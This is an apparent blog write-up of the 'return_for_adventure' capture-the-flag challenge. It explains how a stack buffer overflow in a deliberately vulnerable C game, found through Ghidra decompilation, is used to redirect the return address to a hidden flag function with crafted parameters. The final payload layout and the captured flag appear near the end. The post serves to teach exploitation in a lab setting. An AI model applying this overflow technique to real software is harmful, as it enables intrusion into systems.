Writeup: return_for_adventure

In order to provide peak performance, all games should be written in the C language, which is the fastest language, which is the best for gaming. OSUSEC’s crowning technical achievement, return_for_adventure, is further optimized through the removal of bloated features such as the stack canary and PIE.

Let’s play it!

Welcome to the start of your adventure! Before we begin, please choose one of the following options:
1: Start a new game
2: Jump to specific chapter
3: Load game
2
Chapters exist?
1: Start a new game
2: Jump to specific chapter
3: Load game
3
No
1: Start a new game
2: Jump to specific chapter
3: Load game
1
Let's start!
You awaken after a record sleep of 3 hours, climb out of bed and:
1: you look at your alarm clock
2: you go downstairs and eat breakfast
3: fall back asleep
2
What breakfast do you want to eat?
hamburger
I guess if thats what u want…
LMAO no flag for u. Take this L

The string seems promising:

Welcome to the start of your adventure! Before we begin, please choose one of the following options:
1: Start a new game
2: Jump to specific chapter
3: Load game
1
Let's start!
You awaken after a record sleep of 3 hours, climb out of bed and:
1: you look at your alarm clock
2: you go downstairs and eat breakfast
3: fall back asleep
2
What breakfast do you want to eat?
AUAUAUAUAUUUFGHHGGHHGHGAAUGUGUHG
I guess if thats what u want…
[1] 215155 segmentation fault (core dumped) ./return_for_adventure

Cool! Let’s see what we can do in Ghidra.

void huh_whats_this_function_for(int param_1,int param_2)

{
  char local_33 [35];
  FILE *local_10;
  
  if ((param_1 == -0x74520ff3) && (param_2 == -0x54524542)) {
    printf("Here is the correct flag: ");
    local_10 = fopen("flag.txt","r");
    fgets(local_33,0x22,local_10);
    fclose(local_10);
    puts(local_33);
  }
  return;
}
void breakfast(void)

{
  char local_24 [20];
  int local_10;
  
  puts("What breakfast do you want to eat?");
  do {
    local_10 = getchar();
    if (local_10 == 10) break;
  } while (local_10 != -1);
  fgets(local_24,200,stdin);
  puts("I guess if thats what u want...");
  return;
}

We crashed in breakfast earlier, and it looks like there’s 200 bytes we can read into a 20 byte buffer. More than enough to overflow some memory.

Every time a program calls a function, it stacks this structure on top of the stack. See how intuitive that is?! Why do we always draw it backwards? I hate it! Ok ok I know that memory addresses are high on the bottom now but like, that makes the most sense.

Anyways, imagine a tower(or a stack) of these structures on top of one another. If you have access to write past your locals, you can modify the base pointer, return address, and parameters of the function you’re in!

Let’s start off by modifying the return address while we’re in breakfast. This way, we can trick the program into returning to an arbitrary function.

Ghidra shows that we begin at address 0x08048646, so that’s what we’ll load into the return address.

Ghidra shows that the breakfast function contains 36 bytes of stuff above the return address. I’m honestly not totally sure what these bytes are. Is this related to byte alignment? Some undefined4 types are 8 bytes apart. Anyways, we’ll need to overwrite those 36 bytes. After that, we’ll have reached our return address, which we’ll append to our payload.

With a payload of 0x24 arbitrary bytes + 0x08048646, we get:

[+] Starting local process './return_for_adventure': pid 150205
[*] Switching to interactive mode
3: fall back asleep
What breakfast do you want to eat?
I guess if thats what u want...

We don’t get the “LMAO no flag for u. Take this L” message or a crash, so we successfully changed program flow!

Looking again at our vulnerable function:

  
  if ((param_1 == L'\x8badf00d') && (param_2 == L'\xabadbabe')) {
    printf("Here is the correct flag: ");
    local_10 = fopen("flag.txt","r");
    fgets(local_33,0x22,local_10);
    fclose(local_10);
    puts(local_33);
  }

We see that it wants the parameters to be equal to (in hex) 0x8badf00d and 0xabadbabe. If we append these to our payload, we won’t quite be in the right place, however – remember the base pointer? If we add an address worth of bytes to our payload, the next bytes will be overwriting the parameters section of the stack frame.

Our final payload should be 0x24 arbitrary bytes + 0x08048646 + random address (4 bytes in this architecture) + 0x8badf00d + 0xabadbabe.

With this, we get

3: fall back asleep
What breakfast do you want to eat?
I guess if thats what u want...
Here is the correct flag: osu{d0n'7_b3_57up1d_4nd_0v3rfl0w}
[*] Got EOF while reading in interactive

Cool!

Print Friendly, PDF & Email

Leave a Reply

Your email address will not be published. Required fields are marked *